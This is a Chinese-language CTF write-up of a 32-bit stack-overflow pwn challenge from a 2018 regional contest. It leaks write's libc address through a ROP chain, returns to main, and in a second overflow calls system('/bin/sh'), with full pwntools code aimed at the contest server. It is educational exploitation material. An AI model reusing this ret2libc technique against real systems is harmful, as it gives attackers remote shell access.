Pwn-最简单栈溢出(2018铁三云贵赛区)write函数泄露+用地址跳回重执行主函数

开始前的例行叨叨:

这大概是最简单的pwn题了吧,直接溢出的。主要是记录下write函数泄露动态地址的姿势,还有程序执行完一次就退出了,如何在溢出的末尾让它重执行,以及从lic中提取地址的姿势。



先放题目(侵删):

https://github.com/staticStr/ForCTF/blob/master/rop.zip?raw=true

压缩包里给了题目和lib32



拿出令人沉迷的ida看看源码:

不能更简单了,就一个read函数,能往buf里写0x100,而buf位置是bp-88存在溢出,可以覆盖。


步骤1:

在kali32位里gdb调试,输入个200长度的测试字符看看报错地址。

生成测试字符,并输入到gdb调试的程序里:



现在我们得到了padding长度是140



步骤2:

从Libc中找system地址

正常操作:libc = ELF('libc32') 即可 但不知道为啥居然报错了。

我们用ida分析libc32文件,找出函数地址。


看到了system的偏移地址

offset: 0x3A940



步骤3:

找/bin/sh地址

只需要知道字符串/bin/sh在哪就行了,在ida里是找不到的。

之前年少无知不懂爱,硬是泄露了俩函数地址,去在线查询libc才查出来/bin/sh的地址。

其实只要winhex里搜一下libc32文件就好了!!!

/bin/sh所在的行开头是0x159020其中的/字符在这行的第B个

所以/bin/sh的地址是: 0x15902B



步骤4:

找漏洞函数本身的地址,作为rop链的第二项。

ida中直接看


漏洞函数地址是:0x8048474



步骤5:

同样方法从ida中获取main函数地址:0x80484c6

之所以需要main函数地址,是因为getshell的时候需要两次溢出。

第一次:获取write函数的真实地址,再减去偏移,得到libc地址。

第二次:计算出真实的system地址和bin_sh地址,进行getshell

但程序执行完后就退出了,再次重启程序会使地址改变。

所以要在第一次pwn完后,让程序再执行一次main函数,进行第二次pwn。



步骤6:

直接写脚本了。

先泄露write函数真实地址,构造rop链为:

第一项:padding

第二项:write函数的plt地址

第三项(write函数参数1):数字1,write函数第一个参数

第四项(write函数参数2 输出的内容):write函数的got地址

第五项(write函数参数3 输出的长度):数字4,表示输出4个字节的地址

第六项: main函数的地址,为了让write函数输出结束后,再执行一遍main函数,进行第二波溢出。

所以这段代码应该这样写:

from pwn import *
elf = ELF('rop')
plt_write=elf.plt['write']
got_write=elf.got['write']
rop1 = 'R'*140+p32(plt_write)+p32(0x80484c6)+p32(1)+p32(got_write)+p32(4)+p32(0x80484c6)

p=remote('202.1.4.12',40001)
p.sendline(rop1)
write_real = u32(p.recv())


得到write函数的真实地址后,开始计算Libc地址和system函数地址:

libc地址 = write函数真实地址 - write函数的offset

(write函数的offset用步骤2的方法去libc里找,偏移是:0xd43c0)

system真实地址 = libc地址 + system函数offset

bin_sh真实地址  = libc地址 + /bin/sh偏移地址offset

所以计算函数应该这样写:

write_offset = 0xd43c0
libc_addr = write_real - write_offset
system_addr = libc_addr + 0x3a940
binsh_addr = libc_addr + 0x15902b


需要的都有了,开始构造getshell的rop链

第一项:140长度的padding

第二项:system函数真实地址

第三项:/bin/sh的真实地址

rop3 = 'R' * 140 + p32(system_addr) + p32(0x80484c6) + p32(binsh_addr)
p.sendline(rop3)
p.interactive()


即可getshell!!!

贴个完整代码:

from pwn import *
elf = ELF('rop')
plt_write=elf.plt['write']
got_write=elf.got['write']
rop1 = 'R' * 140 + p32(plt_write) + p32(0x80484c6) + p32(1) + p32(got_write) + p32(4) + p32(0x80484c6)
p=remote('202.1.4.12',40001)
p.sendline(rop1)
write_real = u32(p.recv())
print hex(write_real)
write_offset = 0xd43c0
libc_addr = write_real - write_offset
system_addr = libc_addr + 0x3a940
binsh_addr = libc_addr + 0x15902b

rop3 = 'R' * 140 + p32(system_addr) + p32(0x80484c6) + p32(binsh_addr)
p.sendline(rop3)
p.interactive()



阅读更多
想对作者说点什么?

博主推荐

换一批

没有更多推荐了,返回首页